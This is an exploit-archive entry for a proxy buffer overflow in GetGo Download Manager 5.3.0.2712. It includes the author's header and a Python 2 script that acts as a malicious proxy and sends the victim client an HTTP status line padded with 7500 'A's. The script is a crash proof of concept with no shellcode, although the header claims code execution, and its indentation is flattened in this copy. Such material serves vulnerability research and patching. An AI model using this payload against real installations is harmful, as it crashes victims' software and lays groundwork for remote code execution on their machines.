GetGo Download Manager 5.3.0.2712 Proxy Buffer Overflow

GetGo Download Manager version 5.3.0.2712 'proxy' buffer overflow exploit.


MD5 | 0110727c77d676ffa69253a4704d6cd9

# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712
# Date: 01-02-2018
# Tested on Windows 8 64 bits
# Exploit Author: devcoinfet
# Contact: https://twitter.com/wabefet
# Software Link: http://www.getgosoft.com/getgodm/
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution

#to be vulnerable victim must have a proxy selected that will maliciously return data in response
#select proxy ip of host running this script incase You have vm running the software
#set port of proxy on getgo under proxy settings as well now when you download any page
#or any file the program incorrectly parses the response and passes request to malicious host triggering overlfow

default_evilbuffer = "A" * 7500

def main():
ip = "10.10.10.6"
port = 8055
fuzz_test(ip,default_evilbuffer,port)

def fuzz_test(ip,payload,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
print "[+] Pushing fuzz test to %s" % addr[0]

buffer = "HTTP/1.1 200 " + payload + "\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending Fuzzed buffer From Mailicious Proxy: OK\n"
print "[+] Payload type Default Buffer of 7500 A's"

sleep(3)
cl.close()
s.close()

if __name__ == '__main__':
import socket
from time import sleep
main()


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